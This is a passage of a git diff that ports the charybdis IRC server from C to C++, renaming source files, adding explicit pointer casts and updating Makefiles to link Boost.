Client *source_ RB_DLINK_FOREACH(ptr, local_oper_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!doall && wilds && (match(tname, target_p->name) == 0)) continue; @@ -211,7 +211,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ { RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!doall && wilds && !match(tname, target_p->name)) continue; @@ -230,7 +230,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ /* report all direct connections */ RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; /* dont show invisible users to remote opers */ if(IsInvisible(target_p) && dow && !MyConnect(source_p) && !IsOper(target_p)) @@ -249,7 +249,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!doall && wilds && !match(tname, target_p->name)) continue; @@ -261,7 +261,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ { RB_DLINK_FOREACH(ptr, unknown_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!doall && wilds && !match(tname, target_p->name)) continue; @@ -287,7 +287,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ { RB_DLINK_FOREACH(ptr, class_list.head) { - cltmp = ptr->data; + cltmp = (Class *)ptr->data; if(CurrUsers(cltmp) > 0) sendto_one_numeric(source_p, RPL_TRACECLASS, @@ -316,7 +316,7 @@ count_downlinks(struct Client *server_p, int *pservcount, int *pusercount) *pusercount += rb_dlink_list_length(&server_p->serv->users); RB_DLINK_FOREACH(ptr, server_p->serv->servers.head) { - count_downlinks(ptr->data, pservcount, pusercount); + count_downlinks((Client *)ptr->data, pservcount, pusercount); } } diff --git a/modules/m_unreject.c b/modules/m_unreject.cc similarity index 100% rename from modules/m_unreject.c rename to modules/m_unreject.cc diff --git a/modules/m_user.c b/modules/m_user.cc similarity index 98% rename from modules/m_user.c rename to modules/m_user.cc index f727b67c2..5ee025934 100644 --- a/modules/m_user.c +++ b/modules/m_user.cc @@ -72,7 +72,7 @@ mr_user(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ if(source_p->flags & FLAGS_SENTUSER) return; - if((p = strchr(parv[1], '@'))) + if((p = (char *)strchr(parv[1], '@'))) *p = '\0'; snprintf(buf, sizeof(buf), "%s %s", parv[2], parv[3]); diff --git a/modules/m_userhost.c b/modules/m_userhost.cc similarity index 100% rename from modules/m_userhost.c rename to modules/m_userhost.cc diff --git a/modules/m_users.c b/modules/m_users.cc similarity index 100% rename from modules/m_users.c rename to modules/m_users.cc diff --git a/modules/m_version.c b/modules/m_version.cc similarity index 100% rename from modules/m_version.c rename to modules/m_version.cc diff --git a/modules/m_wallops.c b/modules/m_wallops.cc similarity index 100% rename from modules/m_wallops.c rename to modules/m_wallops.cc diff --git a/modules/m_who.c b/modules/m_who.cc similarity index 98% rename from modules/m_who.c rename to modules/m_who.cc index 786de814a..5f5a77599 100644 --- a/modules/m_who.c +++ b/modules/m_who.cc @@ -162,7 +162,7 @@ m_who(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, if((lp = source_p->user->channel.head) != NULL) { - msptr = lp->data; + msptr = (membership *)lp->data; do_who_on_channel(source_p, msptr->chptr, server_oper, true, &fmt); } @@ -225,7 +225,7 @@ m_who(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, isinvis = IsInvisible(target_p); RB_DLINK_FOREACH(lp, target_p->user->channel.head) { - msptr = lp->data; + msptr = (membership *)lp->data; chptr = msptr->chptr; member = IsMember(source_p, chptr); @@ -241,7 +241,7 @@ m_who(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, * target_p of chptr */ if(lp != NULL) - do_who(source_p, target_p, lp->data, &fmt); + do_who(source_p, target_p, (membership *)lp->data, &fmt); else do_who(source_p, target_p, NULL, &fmt); @@ -308,7 +308,7 @@ who_common_channel(struct Client *source_p, struct Channel *chptr, RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(!IsInvisible(target_p) || IsMarked(target_p)) @@ -363,7 +363,7 @@ who_global(struct Client *source_p, const char *mask, int server_oper, int opers { RB_DLINK_FOREACH(lp, source_p->user->channel.head) { - msptr = lp->data; + msptr = (membership *)lp->data; who_common_channel(source_p, msptr->chptr, mask, server_oper, &maxmatches, fmt); } } @@ -377,7 +377,7 @@ who_global(struct Client *source_p, const char *mask, int server_oper, int opers */ RB_DLINK_FOREACH(ptr, global_client_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!IsPerson(target_p)) continue; @@ -432,7 +432,7 @@ do_who_on_channel(struct Client *source_p, struct Channel *chptr, RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(server_oper && !IsOper(target_p)) diff --git a/modules/m_whois.c b/modules/m_whois.cc similarity index 99% rename from modules/m_whois.c rename to modules/m_whois.cc index e95fc9c1c..91c4a3ef2 100644 --- a/modules/m_whois.c +++ b/modules/m_whois.cc @@ -273,7 +273,7 @@ single_whois(struct Client *source_p, struct Client *target_p, int operspy) { RB_DLINK_FOREACH(ptr, target_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; chptr = msptr->chptr; hdata.chptr = chptr; diff --git a/modules/m_whowas.c b/modules/m_whowas.cc similarity index 98% rename from modules/m_whowas.c rename to modules/m_whowas.cc index ce04e1c49..17a1cb909 100644 --- a/modules/m_whowas.c +++ b/modules/m_whowas.cc @@ -96,7 +96,7 @@ m_whowas(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source if(!MyClient(source_p) && (max <= 0 || max > 20)) max = 20; - if((p = strchr(parv[1], ','))) + if((p = (char *)strchr(parv[1], ','))) *p = '\0'; nick = parv[1]; @@ -113,7 +113,7 @@ m_whowas(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source RB_DLINK_FOREACH(ptr, whowas_list->head) { - struct Whowas *temp = ptr->data; + struct Whowas *temp = (Whowas *)ptr->data; if(cur > 0 && rb_linebuf_len(&client_p->localClient->buf_sendq) > sendq_limit) { sendto_one(source_p, form_str(ERR_TOOMANYMATCHES), diff --git a/modules/m_xline.c b/modules/m_xline.cc similarity index 99% rename from modules/m_xline.c rename to modules/m_xline.cc index d58592e99..12827d311 100644 --- a/modules/m_xline.c +++ b/modules/m_xline.cc @@ -354,7 +354,7 @@ cluster_xline(struct Client *source_p, int temp_time, const char *name, const ch RB_DLINK_FOREACH(ptr, cluster_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; /* old protocol cant handle temps, and we dont really want * to convert them to perm.. --fl @@ -463,7 +463,7 @@ remove_xline(struct Client *source_p, const char *name, bool propagated) RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!irccmp(aconf->host, name)) { diff --git a/modules/sno_routing.c b/modules/sno_routing.cc similarity index 98% rename from modules/sno_routing.c rename to modules/sno_routing.cc index 6e58d8240..c1af285d7 100644 --- a/modules/sno_routing.c +++ b/modules/sno_routing.cc @@ -68,7 +68,7 @@ count_mark_downlinks(struct Client *server_p, int *pservcount, int *pusercount) *pusercount += rb_dlink_list_length(&server_p->serv->users); RB_DLINK_FOREACH(ptr, server_p->serv->servers.head) { - count_mark_downlinks(ptr->data, pservcount, pusercount); + count_mark_downlinks((Client *)ptr->data, pservcount, pusercount); } } diff --git a/rb/Makefile.am b/rb/Makefile.am index e5b7b39a1..1a1dc693b 100644 --- a/rb/Makefile.am +++ b/rb/Makefile.am @@ -3,7 +3,13 @@ AUTOMAKE_OPTIONS = foreign pkgconfigdir = $(libdir)/pkgconfig #pkgconfig_DATA = librb.pc -AM_CPPFLAGS = -I$(top_srcdir)/include @SSL_CFLAGS@ @GNUTLS_CFLAGS@ @MBEDTLS_CFLAGS@ +librbdir = @libdir@ +AM_CPPFLAGS = @SSL_CFLAGS@ @GNUTLS_CFLAGS@ @MBEDTLS_CFLAGS@ +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include +AM_CPPFLAGS += -I$(top_srcdir)/include + +# This is temp since all remaining C is circling the drain. +AM_CFLAGS = -std=gnu99 librb_la_SOURCES = \ unix.c \ @@ -16,8 +22,6 @@ librb_la_SOURCES = \ gnutls.c \ nossl.c \ event.c \ - rb.c \ - rb_memory.c \ linebuf.c \ tools.c \ helper.c \ @@ -33,14 +37,13 @@ librb_la_SOURCES = \ dictionary.c \ radixtree.c \ arc4random.c \ - version.c + version.c \ + terminate.cc \ + rb.cc librb_la_LDFLAGS = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ -avoid-version -no-undefined -export-symbols export-syms.txt +librb_la_LDFLAGS += -L$(top_srcdir)/boost/lib + librb_la_LIBADD = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ +librb_la_LIBADD += -lboost_system lib_LTLIBRARIES = librb.la - - -mrproper-local: - rm -f $(top_srcdir)/include/rb/config.h - rm -f $(top_srcdir)/include/rb/config.h.in - rm -f $(top_srcdir)/include/rb/stamp-h1 diff --git a/rb/rb.c b/rb/rb.cc similarity index 95% rename from rb/rb.c rename to rb/rb.cc index a9e5e09fd..8df5dd288 100644 --- a/rb/rb.c +++ b/rb/rb.cc @@ -23,8 +23,13 @@ */ #include +extern "C" +{ #include +#include #include +} + #ifdef HAVE_EXECINFO_H #include #endif @@ -222,35 +227,11 @@ rb_lib_loop(long delay) time_t next; rb_set_time(); - if(rb_io_supports_event()) - { - if(delay == 0) - delay = -1; - while(1) - rb_select(-1); - } - + if(delay == 0) + delay = -1; while(1) - { - if(delay == 0) - { - if((next = rb_event_next()) > 0) - { - next -= rb_current_time(); - if(next <= 0) - next = 1000; - else - next *= 1000; - } - else - next = -1; - rb_select(next); - } - else - rb_select(delay); - rb_event_run(); - } + rb_select(-1); } #ifndef HAVE_STRTOK_R @@ -333,7 +314,7 @@ rb_base64_encode(const unsigned char *str, int length) return NULL; } - result = rb_malloc(((length + 2) / 3) * 5); + result = (unsigned char *)rb_malloc(((length + 2) / 3) * 5); p = result; while(length > 2) @@ -374,7 +355,7 @@ rb_base64_decode(const unsigned char *str, int length, int *ret) int ch, i = 0, j = 0, k; unsigned char *result; - result = rb_malloc(length + 1); + result = (unsigned char *)rb_malloc(length + 1); while((ch = *current++) != '\0' && length-- > 0) { diff --git a/rb/rb_memory.c b/rb/rb_memory.c deleted file mode 100644 index b1db79d94..000000000 --- a/rb/rb_memory.c +++ /dev/null @@ -1,40 +0,0 @@ -/* - * ircd-ratbox: A slightly useful ircd. - * memory.c: Memory utilities. - * - * Copyright (C) 1990 Jarkko Oikarinen and University of Oulu, Co Center - * Copyright (C) 1996-2002 Hybrid Development Team - * Copyright (C) 2002-2005 ircd-ratbox development team - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 - * USA - * - */ - -#include - -void -rb_outofmemory(void) -{ - static int was_here = 0; - - if(was_here) - abort(); - - was_here = 1; - - rb_lib_log("Out of memory: restarting server..."); - rb_lib_restart("Out of Memory"); -} diff --git a/rb/terminate.cc b/rb/terminate.cc new file mode 100644 index 000000000..a0c02e37d --- /dev/null +++ b/rb/terminate.cc @@ -0,0 +1,38 @@ +/* + * ratbox 2: hyperratbox + * terminate.cc: Death is the possibility of the absolute impossibility of Dasein. + * + * Copyright (C) 2016 Jason Volk + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice is present in all copies. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include + +void +rb_outofmemory(void) +{ + rb_lib_log("Out of memory: restarting server..."); + abort(); +} + +/* +void rb::terminate(void) +{ + abort(); +} +*/ diff --git a/ssld/Makefile.am b/ssld/Makefile.am index 8c3109685..d74b8682c 100644 --- a/ssld/Makefile.am +++ b/ssld/Makefile.am @@ -1,7 +1,12 @@ bin_PROGRAMS = ssld -AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I$(top_srcdir)/include +AM_CPPFLAGS = $(WARNFLAGS) +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -I$(top_srcdir)/boost/include -ssld_SOURCES = ssld.c -ssld_LDADD = $(top_srcdir)/rb/librb.la @ZLIB_LD@ +AM_LDFLAGS = -L$(top_srcdir)/ircd +AM_LDFLAGS += -L$(top_srcdir)/rb +AM_LDFLAGS += -L$(top_srcdir)/boost/lib + +ssld_SOURCES = ssld.cc +ssld_LDADD = -lrb -lboost_system @ZLIB_LD@ diff --git a/ssld/ssld.c b/ssld/ssld.cc similarity index 96% rename from ssld/ssld.c rename to ssld/ssld.cc index 5d29671aa..a75ade820 100644 --- a/ssld/ssld.c +++ b/ssld/ssld.cc @@ -177,7 +177,7 @@ conn_find_by_id(uint32_t id) RB_DLINK_FOREACH(ptr, (connid_hash(id))->head) { - conn = ptr->data; + conn = (conn_t *)ptr->data; if(conn->id == id && !IsDead(conn)) return conn; } @@ -199,7 +199,7 @@ free_conn(conn_t * conn) #ifdef HAVE_LIBZ if(IsZip(conn)) { - zlib_stream_t *stream = conn->stream; + zlib_stream_t *stream = (zlib_stream_t *)conn->stream; inflateEnd(&stream->instream); deflateEnd(&stream->outstream); rb_free(stream); @@ -215,7 +215,7 @@ clean_dead_conns(void *unused) rb_dlink_node *ptr, *next; RB_DLINK_FOREACH_SAFE(ptr, next, dead_list.head) { - conn = ptr->data; + conn = (conn_t *)ptr->data; free_conn(conn); } dead_list.tail = dead_list.head = NULL; @@ -262,7 +262,7 @@ close_conn(conn_t * conn, int wait_plain, const char *fmt, ...) static conn_t * make_conn(mod_ctl_t * ctl, rb_fde_t *mod_fd, rb_fde_t *plain_fd) { - conn_t *conn = rb_malloc(sizeof(conn_t)); + conn_t *conn = (conn_t *)rb_malloc(sizeof(conn_t)); conn->ctl = ctl; conn->modbuf_out = rb_new_rawbuffer(); conn->plainbuf_out = rb_new_rawbuffer(); @@ -284,7 +284,7 @@ check_handshake_flood(void *unused) int i; HASH_WALK_SAFE(i, CONN_HASH_SIZE, ptr, next, connid_hash_table) { - conn = ptr->data; + conn = (conn_t *)ptr->data; if(!IsSSL(conn)) continue; @@ -300,7 +300,7 @@ HASH_WALK_END} static void conn_mod_write_sendq(rb_fde_t *fd, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; const char *err; int retlen; if(IsDead(conn)) @@ -370,8 +370,8 @@ static void mod_cmd_write_queue(mod_ctl_t * ctl, const void *data, size_t len) { mod_ctl_buf_t *ctl_buf; - ctl_buf = rb_malloc(sizeof(mod_ctl_buf_t)); - ctl_buf->buf = rb_malloc(len); + ctl_buf = (mod_ctl_buf_t *)rb_malloc(sizeof(mod_ctl_buf_t)); + ctl_buf->buf = (uint8_t *)rb_malloc(len); ctl_buf->buflen = len; memcpy(ctl_buf->buf, data, len); ctl_buf->nfds = 0; @@ -386,7 +386,7 @@ common_zlib_deflate(conn_t * conn, void *buf, size_t len) char outbuf[READBUF_SIZE]; int ret, have; z_stream *outstream = &((zlib_stream_t *) conn->stream)->outstream; - outstream->next_in = buf; + outstream->next_in = (Bytef *)buf; outstream->avail_in = len; outstream->next_out = (Bytef *) outbuf; outstream->avail_out = sizeof(outbuf); @@ -419,7 +419,7 @@ common_zlib_inflate(conn_t * conn, void *buf, size_t len) { char outbuf[READBUF_SIZE]; int ret, have = 0; - ((zlib_stream_t *) conn->stream)->instream.next_in = buf; + ((zlib_stream_t *) conn->stream)->instream.next_in = (Bytef *)buf; ((zlib_stream_t *) conn->stream)->instream.avail_in = len; ((zlib_stream_t *) conn->stream)->instream.next_out = (Bytef *) outbuf; ((zlib_stream_t *) conn->stream)->instream.avail_out = sizeof(outbuf); @@ -429,7 +429,7 @@ common_zlib_inflate(conn_t * conn, void *buf, size_t len) ret = inflate(&((zlib_stream_t *) conn->stream)->instream, Z_NO_FLUSH); if(ret != Z_OK) { - if(!strncmp("ERROR ", buf, 6)) + if(!strncmp("ERROR ", (const char *)buf, 6)) { close_conn(conn, WAIT_PLAIN, "Received uncompressed ERROR"); return; @@ -475,7 +475,7 @@ static void conn_plain_read_cb(rb_fde_t *fd, void *data) { char inbuf[READBUF_SIZE]; - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int length = 0; if(conn == NULL) return; @@ -524,7 +524,7 @@ static void conn_plain_read_shutdown_cb(rb_fde_t *fd, void *data) { char inbuf[READBUF_SIZE]; - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int length = 0; if(conn == NULL) @@ -553,7 +553,7 @@ static void conn_mod_read_cb(rb_fde_t *fd, void *data) { char inbuf[READBUF_SIZE]; - conn_t *conn = data; + conn_t *conn = (conn_t *)data; const char *err = remote_closed; int length; if(conn == NULL) @@ -617,7 +617,7 @@ conn_mod_read_cb(rb_fde_t *fd, void *data) static void conn_plain_write_sendq(rb_fde_t *fd, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int retlen; if(IsDead(conn)) @@ -629,7 +629,7 @@ conn_plain_write_sendq(rb_fde_t *fd, void *data) } if(retlen == 0 || (retlen < 0 && !rb_ignore_errno(errno))) { - close_conn(data, NO_WAIT, NULL); + close_conn(conn, NO_WAIT, NULL); return; } @@ -708,7 +708,7 @@ ssl_send_open(conn_t *conn) static void ssl_process_accept_cb(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; if(status == RB_OK) { @@ -727,7 +727,7 @@ ssl_process_accept_cb(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen static void ssl_process_connect_cb(rb_fde_t *F, int status, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; if(status == RB_OK) { @@ -976,7 +976,7 @@ mod_process_cmd_recv(mod_ctl_t * ctl) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (mod_ctl_buf_t *)ptr->data; switch (*ctl_buf->buf) { @@ -1075,14 +1075,14 @@ static void mod_read_ctl(rb_fde_t *F, void *data) { mod_ctl_buf_t *ctl_buf; - mod_ctl_t *ctl = data; + mod_ctl_t *ctl = (mod_ctl_t *)data; int retlen; int i; do { - ctl_buf = rb_malloc(sizeof(mod_ctl_buf_t)); - ctl_buf->buf = rb_malloc(READBUF_SIZE); + ctl_buf = (mod_ctl_buf_t *)rb_malloc(sizeof(mod_ctl_buf_t)); + ctl_buf->buf = (uint8_t *)rb_malloc(READBUF_SIZE); ctl_buf->buflen = READBUF_SIZE; retlen = rb_recv_fd_buf(ctl->F, ctl_buf->buf, ctl_buf->buflen, ctl_buf->F, MAXPASSFD); @@ -1112,14 +1112,14 @@ mod_read_ctl(rb_fde_t *F, void *data) static void mod_write_ctl(rb_fde_t *F, void *data) { - mod_ctl_t *ctl = data; + mod_ctl_t *ctl = (mod_ctl_t *)data; mod_ctl_buf_t *ctl_buf; rb_dlink_node *ptr, *next; int retlen, x; RB_DLINK_FOREACH_SAFE(ptr, next, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (mod_ctl_buf_t *)ptr->data; retlen = rb_send_fd_buf(ctl->F, ctl_buf->F, ctl_buf->nfds, ctl_buf->buf, ctl_buf->buflen, ppid); if(retlen > 0) @@ -1204,7 +1204,7 @@ main(int argc, char **argv) rb_init_rawbuffers(1024); rb_init_prng(NULL, RB_PRNG_DEFAULT); ssld_ssl_ok = rb_supports_ssl(); - mod_ctl = rb_malloc(sizeof(mod_ctl_t)); + mod_ctl = (mod_ctl_t *)rb_malloc(sizeof(mod_ctl_t)); mod_ctl->F = rb_open(ctlfd, RB_FD_SOCKET, "ircd control socket"); mod_ctl->F_pipe = rb_open(pipefd, RB_FD_PIPE, "ircd pipe"); rb_set_nb(mod_ctl->F); diff --git a/tools/Makefile.am b/tools/Makefile.am index b93debdab..ce38c78fb 100644 --- a/tools/Makefile.am +++ b/tools/Makefile.am @@ -1,13 +1,18 @@ +AM_CPPFLAGS = $(WARNFLAGS) +AM_CPPFLAGS += @LTDLINCL@ +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include + +AM_LDFLAGS = -L$(top_srcdir)/rb +AM_LDFLAGS += -L$(top_srcdir)/boost/lib + bin_PROGRAMS = charybdis-mkpasswd charybdis-mkfingerprint -AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = $(DEFAULT_INCLUDES) -I$(top_srcdir)/include -charybdis_mkpasswd_SOURCES = mkpasswd.c -charybdis_mkpasswd_LDADD = $(top_srcdir)/rb/librb.la - -charybdis_mkfingerprint_SOURCES = mkfingerprint.c -charybdis_mkfingerprint_LDADD = $(top_srcdir)/rb/librb.la +charybdis_mkpasswd_SOURCES = mkpasswd.cc +charybdis_mkpasswd_LDADD = -lrb -lboost_system +charybdis_mkfingerprint_SOURCES = mkfingerprint.cc +charybdis_mkfingerprint_LDADD = -lrb -lboost_system mrproper-local: rm -f genssl diff --git a/tools/mkfingerprint.c b/tools/mkfingerprint.cc similarity index 99% rename from tools/mkfingerprint.c rename to tools/mkfingerprint.cc index aaacc0445..b8ab9f41f 100644 --- a/tools/mkfingerprint.c +++ b/tools/mkfingerprint.cc @@ -18,6 +18,7 @@ * USA */ #include +#include #include int main(int argc, char *argv[]) diff --git a/tools/mkpasswd.c b/tools/mkpasswd.cc similarity index 99% rename from tools/mkpasswd.c rename to tools/mkpasswd.cc index 41456f5f8..76d67ce1a 100644 --- a/tools/mkpasswd.c +++ b/tools/mkpasswd.cc @@ -10,6 +10,7 @@ * Aaron Sethman */ #include +#include #ifndef __MINGW32__ #include #endif @@ -374,7 +375,7 @@ generate_random_salt(char *salt, int length) { return (generate_poor_salt(salt, length)); } - buf = calloc(1, length); + buf = (char *)calloc(1, length); if(read(fd, buf, length) != length) { free(buf); diff --git a/wsockd/Makefile.am b/wsockd/Makefile.am index 159d2d221..9a11fe9de 100644 --- a/wsockd/Makefile.am +++ b/wsockd/Makefile.am @@ -1,7 +1,11 @@ bin_PROGRAMS = wsockd -AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I$(top_srcdir)/include +AM_CPPFLAGS = $(WARNFLAGS) +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include +AM_CPPFLAGS += -I$(top_srcdir)/include -wsockd_SOURCES = wsockd.c sha1.c -wsockd_LDADD = $(top_srcdir)/rb/librb.la +AM_LDFLAGS = -L$(top_srcdir)/rb +AM_LDFLAGS += -L$(top_srcdir)/boost/lib + +wsockd_SOURCES = wsockd.cc sha1.c +wsockd_LDADD = -lrb -lboost_system diff --git a/wsockd/wsockd.c b/wsockd/wsockd.cc similarity index 95% rename from wsockd/wsockd.c rename to wsockd/wsockd.cc index 2582cb57a..44147f173 100644 --- a/wsockd/wsockd.c +++ b/wsockd/wsockd.cc @@ -21,7 +21,11 @@ */ #include + +extern "C" +{ #include "sha1.h" +} #define MAXPASSFD 4 #ifndef READBUF_SIZE @@ -251,7 +255,7 @@ clean_dead_conns(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, dead_list.head) { - conn = ptr->data; + conn = (conn_t *)ptr->data; free_conn(conn); } @@ -261,7 +265,7 @@ clean_dead_conns(void *unused) static void conn_plain_write_sendq(rb_fde_t *fd, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int retlen; if(IsDead(conn)) @@ -272,7 +276,7 @@ conn_plain_write_sendq(rb_fde_t *fd, void *data) if(retlen == 0 || (retlen < 0 && !rb_ignore_errno(errno))) { - close_conn(data, NO_WAIT, NULL); + close_conn(conn, NO_WAIT, NULL); return; } @@ -285,7 +289,7 @@ conn_plain_write_sendq(rb_fde_t *fd, void *data) static void conn_mod_write_sendq(rb_fde_t *fd, void *data) { - conn_t *conn = data; + conn_t *conn = (conn_t *)data; const char *err; int retlen; @@ -335,7 +339,7 @@ conn_mod_write_short_frame(conn_t * conn, void *data, int len) conn_mod_write(conn, &hdr, sizeof(hdr)); conn_mod_write(conn, data, len); - conn_mod_write(conn, "\r\n", 2); + conn_mod_write(conn, (void *)"\r\n", 2); } static void @@ -350,7 +354,7 @@ conn_mod_write_long_frame(conn_t * conn, void *data, int len) conn_mod_write(conn, &hdr, sizeof(hdr)); conn_mod_write(conn, data, len); - conn_mod_write(conn, "\r\n", 2); + conn_mod_write(conn, (void *)"\r\n", 2); } static void @@ -371,14 +375,14 @@ conn_mod_write_frame(conn_t *conn, void *data, int len) static void mod_write_ctl(rb_fde_t *F, void *data) { - mod_ctl_t *ctl = data; + mod_ctl_t *ctl = (mod_ctl_t *)data; mod_ctl_buf_t *ctl_buf; rb_dlink_node *ptr, *next; int retlen, x; RB_DLINK_FOREACH_SAFE(ptr, next, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (mod_ctl_buf_t *)ptr->data; retlen = rb_send_fd_buf(ctl->F, ctl_buf->F, ctl_buf->nfds, ctl_buf->buf, ctl_buf->buflen, ppid); if(retlen > 0) @@ -402,8 +406,8 @@ static void mod_cmd_write_queue(mod_ctl_t * ctl, const void *data, size_t len) { mod_ctl_buf_t *ctl_buf; - ctl_buf = rb_malloc(sizeof(mod_ctl_buf_t)); - ctl_buf->buf = rb_malloc(len); + ctl_buf = (mod_ctl_buf_t *)rb_malloc(sizeof(mod_ctl_buf_t)); + ctl_buf->buf = (uint8_t *)rb_malloc(len); ctl_buf->buflen = len; memcpy(ctl_buf->buf, data, len); ctl_buf->nfds = 0; @@ -455,7 +459,7 @@ close_conn(conn_t * conn, int wait_plain, const char *fmt, ...) static conn_t * make_conn(mod_ctl_t * ctl, rb_fde_t *mod_fd, rb_fde_t *plain_fd) { - conn_t *conn = rb_malloc(sizeof(conn_t)); + conn_t *conn = (conn_t *)rb_malloc(sizeof(conn_t)); conn->ctl = ctl; conn->mod_fd = mod_fd; conn->plain_fd = plain_fd; @@ -656,9 +660,9 @@ conn_mod_handshake_process(conn_t *conn) resp = (char *) rb_base64_encode(digest, SHA1_DIGEST_LENGTH); - conn_mod_write(conn, WEBSOCKET_ANSWER_STRING_1, strlen(WEBSOCKET_ANSWER_STRING_1)); + conn_mod_write(conn, (void *)WEBSOCKET_ANSWER_STRING_1, strlen(WEBSOCKET_ANSWER_STRING_1)); conn_mod_write(conn, resp, strlen(resp)); - conn_mod_write(conn, WEBSOCKET_ANSWER_STRING_2, strlen(WEBSOCKET_ANSWER_STRING_2)); + conn_mod_write(conn, (void *)WEBSOCKET_ANSWER_STRING_2, strlen(WEBSOCKET_ANSWER_STRING_2)); rb_free(resp); } @@ -673,7 +677,7 @@ conn_mod_read_cb(rb_fde_t *fd, void *data) memset(inbuf, 0, sizeof inbuf); - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int length = 0; if (conn == NULL) return; @@ -765,7 +769,7 @@ conn_plain_read_cb(rb_fde_t *fd, void *data) memset(inbuf, 0, sizeof inbuf); - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int length = 0; if(conn == NULL) return; @@ -811,7 +815,7 @@ static void conn_plain_read_shutdown_cb(rb_fde_t *fd, void *data) { char inbuf[READBUF_SIZE]; - conn_t *conn = data; + conn_t *conn = (conn_t *)data; int length = 0; if(conn == NULL) @@ -866,7 +870,7 @@ mod_process_cmd_recv(mod_ctl_t * ctl) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (mod_ctl_buf_t *)ptr->data; switch (*ctl_buf->buf) { @@ -895,14 +899,14 @@ static void mod_read_ctl(rb_fde_t *F, void *data) { mod_ctl_buf_t *ctl_buf; - mod_ctl_t *ctl = data; + mod_ctl_t *ctl = (mod_ctl_t *)data; int retlen; int i; do { - ctl_buf = rb_malloc(sizeof(mod_ctl_buf_t)); - ctl_buf->buf = rb_malloc(READBUF_SIZE); + ctl_buf = (mod_ctl_buf_t *)rb_malloc(sizeof(mod_ctl_buf_t)); + ctl_buf->buf = 